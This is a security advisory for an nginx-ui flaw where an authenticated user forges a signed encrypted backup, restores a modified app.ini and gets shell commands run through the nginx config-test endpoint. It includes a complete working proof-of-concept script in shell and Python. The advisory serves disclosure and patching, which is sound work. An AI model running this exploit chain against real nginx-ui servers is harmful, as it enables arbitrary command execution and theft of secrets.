GHSA-p393-cf76-4jmr: Code Injection
Summary
An authenticated nginx-ui user can call POST /api/restore, upload a forged encrypted backup, restore app.ini, set nginx command settings such as TestConfigCmd, and then trigger command execution with POST /api/nginx/test.
This was validated on nginx-ui 2.3.11 2(523) 6c86e5a5 in the local Docker container uozi/nginx-ui:latest.
Impact
An authenticated user can overwrite nginx-ui application configuration and database state through restore, including protected settings that are normally not writable through the settings API. By setting nginx command fields in the restored app.ini, the attacker can execute commands in the nginx-ui runtime context. This affects confidentiality, integrity, and availability because the attacker can read or replace secrets, change node/JWT secrets, corrupt application state, and execute arbitrary commands.
Affected Version / Environment
- Version: nginx-ui 2.3.11 2(523) 6c86e5a5 - Deployment: local Docker, uozi/nginx-ui:latest - Base URL used in validation: http://127.0.0.1:8080
Root Cause
/api/restore is reachable through normal authenticated-user authorization. The restore handler accepts attacker-supplied backup key material, validates the manifest with a key derived from that supplied AES key, decrypts attacker-controlled backup contents, and copies restored app.ini into the live nginx-ui config path.
Relevant code paths:
- api/backup/router.go: POST /api/restore - api/backup/restore.go: accepts securitytoken and uploaded backup file - internal/backup/manifest.go: derives backup signing key from supplied AES key - internal/backup/restore.go: restoreNginxUIConfig overwrites live app.ini - internal/nginx/exec.go: nginx command settings execute through shell-backed command paths
Proof of Concept
Assumptions:
- nginx-ui is already running. - $TOKEN is a valid user JWT. - $CONTAINER is the local disposable Docker container name for cleanup and evidence checks.
bash export BASE='http://127.0.0.1:8080' export TOKEN='<valid nginx-ui JWT>' export CONTAINER='nginx-ui'
Run only against a disposable local instance.
bash set -eu
TMP=$(mktemp -d) trap 'rm -rf "$TMP"' EXIT
docker cp "$CONTAINER":/etc/nginx-ui/app.ini "$TMP/app.ini.original"
curl -sS -D "$TMP/backup.headers" -o "$TMP/backup.zip" \ -H "Authorization: $TOKEN" \ "$BASE/api/backup"
SEC=$(awk 'BEGIN{IGNORECASE=1} /^X-Backup-Security:/{gsub("\r",""); print $2}' "$TMP/backup.headers") KEYB64=${SEC%%:} IVB64=${SEC#:} KEYHEX=$(printf '%s' "$KEYB64" | base64 -d | xxd -p -c 256) IVHEX=$(printf '%s' "$IVB64" | base64 -d | xxd -p -c 256)
mkdir -p "$TMP/outer" "$TMP/inner" unzip -q "$TMP/backup.zip" -d "$TMP/outer" openssl enc -d -aes-256-cbc -K "$KEYHEX" -iv "$IVHEX" -nosalt \ -in "$TMP/outer/nginx-ui.zip" \ -out "$TMP/nginx-ui.clear.zip" unzip -q "$TMP/nginx-ui.clear.zip" -d "$TMP/inner"
python3 - "$TMP/inner/app.ini" <<'PY' from pathlib import Path import sys
p = Path(sys.argv[1]) cmd = "TestConfigCmd = printf restored-rce >/tmp/nginx-ui-restore-rce" lines = p.readtext().splitlines() out = [] innginx = False seennginx = False written = False
for line in lines: s = line.strip() if s.startswith("[") and s.endswith("]"): if innginx and not written: out.append(cmd) written = True innginx = s.lower() == "[nginx]" seennginx = seennginx or innginx if innginx and s.startswith("TestConfigCmd"): if not written: out.append(cmd) written = True continue out.append(line)
if innginx and not written: out.append(cmd) elif not seennginx: out.extend(["", "[nginx]", cmd])
p.writetext("\n".join(out) + "\n") PY
(cd "$TMP/inner" && zip -qr "$TMP/nginx-ui.modified.clear.zip" .) openssl enc -aes-256-cbc -K "$KEYHEX" -iv "$IVHEX" -nosalt \ -in "$TMP/nginx-ui.modified.clear.zip" \ -out "$TMP/outer/nginx-ui.zip"
OUTER="$TMP/outer" KEYB64="$KEYB64" python3 <<'PY' from pathlib import Path import base64 import hashlib import hmac import json import os
outer = Path(os.environ["OUTER"]) key = base64.b64decode(os.environ["KEYB64"]) manifest = json.loads((outer / "manifest.json").readtext())
for entry in manifest["files"]: data = (outer / entry["name"]).readbytes() entry["sha256"] = hashlib.sha256(data).hexdigest() entry["size"] = len(data)
manifest["files"] = sorted(manifest["files"], key=lambda e: e["name"]) manifestbytes = json.dumps(manifest, separators=(",", ":")).encode() (outer / "manifest.json").writebytes(manifestbytes)
signingkey = hashlib.sha256(b"nginx-ui-backup-signing-v1:" + key).digest() (outer / "manifest.sig").writetext(hmac.new(signingkey, manifestbytes, hashlib.sha256).hexdigest()) PY
(cd "$TMP/outer" && zip -qr "$TMP/malicious-restore.zip" manifest.sig nginx-ui.zip nginx.zip manifest.json)
curl -sS -X POST "$BASE/api/restore" \ -H "Authorization: $TOKEN" \ -F "restorenginx=false" \ -F "restorenginxui=true" \ -F "verifyhash=true" \ -F "securitytoken=$SEC" \ -F "backupfile=@$TMP/malicious-restore.zip"
sleep 10 for i in $(seq 1 80); do curl -sS -o /dev/null -H "Authorization: $TOKEN" "$BASE/api/settings" && break sleep 0.5 done
curl -sS -X POST "$BASE/api/nginx/test" \ -H "Authorization: $TOKEN"
docker exec "$CONTAINER" sh -lc 'cat /tmp/nginx-ui-restore-rce'
Cleanup and return the disposable instance to its original config. docker cp "$TMP/app.ini.original" "$CONTAINER":/etc/nginx-ui/app.ini docker exec "$CONTAINER" sh -lc 'rm -f /tmp/nginx-ui-restore-rce' docker restart "$CONTAINER"
Expected output:
text {"nginxuirestored":true,"nginxrestored":false,"hashmatch":true} {"message":"","level":-1,"testscope":"global"} restored-rce
Cleanup
The PoC performs cleanup at the end. If interrupted, restore the original app.ini from a known-good backup, remove /tmp/nginx-ui-restore-rce, and restart nginx-ui before continuing other tests.
Patch Guidance
Require an elevated/admin secure session for restore, do not allow ordinary authenticated users to restore nginx-ui app state, bind backup manifest signatures to a server-side secret or administrator-held passphrase, and block protected app settings from being restored unless explicitly approved through a hardened migration path.
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
go/github.com/0xJacky/Nginx-UIto a version that resolves this vulnerability.Fixed in 1.9.10-0.20260728074146-a467ed652591 - Configuration
Require an elevated or administrator secure session for restore operations, and do not allow ordinary authenticated users to restore nginx-ui application state.
nginx-ui restore endpoint restore authorization = elevated/admin secure session required - Configuration
Bind backup manifest signatures to a server-side secret or an administrator-held passphrase instead of key material supplied by the backup submitter.
nginx-ui backup manifest validation manifest signature key source = server-side secret or administrator-held passphrase - Configuration
Block restoration of protected application settings unless the restore is explicitly approved through a hardened migration path.
nginx-ui restore protected application settings restoration = blocked unless explicitly approved through a hardened migration path